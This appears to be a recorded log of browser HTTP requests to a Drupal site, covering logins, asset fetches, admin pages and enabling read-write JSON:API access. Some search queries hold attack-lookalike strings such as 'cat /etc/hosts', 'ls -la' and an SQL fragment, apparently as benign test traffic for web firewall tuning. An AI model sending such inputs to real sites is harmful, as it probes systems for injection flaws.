{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nlF7hWQsRVrlEPbc96OMGevOv3MrfMiKMVvcv6_6Joc.css?delta=1&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_aFq4-wv4d0gPBP9K98TVdWfWzXoJLtTyXg_BN3tNojw.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVcKlShKTigEIZxiZ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/no-such-page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/rss.xml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/rss.xml"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-66TNlUp8tQI0lgPvIXpN9McAK6NI-RbJZJy3xQUipSQ&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/user/1?check_logged_in=1", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/jquery/jquery.min.js?v=4.0.0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/htmx/htmx.min.js?v=2.0.4", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/sites/default/files/css/css_3uG4RM-Em2VD212gfyh-PIM42Pr7XCSwv3TXIbnBX9A.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU"}
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{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_V22smjChlNYtGFhubSnrJiBbIXxpjPF7r7uLdgFcWYg.css?delta=0&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Yfs9-4VfSKB714k1kHFtY4JRa_hGedSW2uxnik6dlsA.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_dwzS5I9OMr00BcXlUn2t2KsKkO9EWWCZE6LZ1FmemH0.css?delta=0&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_vwLE_CZTWTR3i1176WdafZPd0GuZTOaM96RTRN5CTp0.js?scope=footer&delta=3&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-WZnlHr3p1LhSxN6dPUx293-ltyG4QtYSRksVbr20Mzg&form_token=3lcJI3eAzFu8-0sfi7vAMI3eU2V91VUFYTwTcOLf7l8&form_id=jsonapi_settings&op=Save+configuration"}
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{"method": "GET", "target": "/sites/default/files/js/js_v-Yw0xKoOugqNPSjJ5Uq4iDp8HsOpoK3gpMm6zQyQf0.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_BlPFDilS_oEhwF0HDxZ480ulASjw5IudrBkkXsaaxvI.css?delta=0&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_CcEISLR1pk_U-fpVvH09p2TLaOmRHxcIbXaUgsAf38o.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
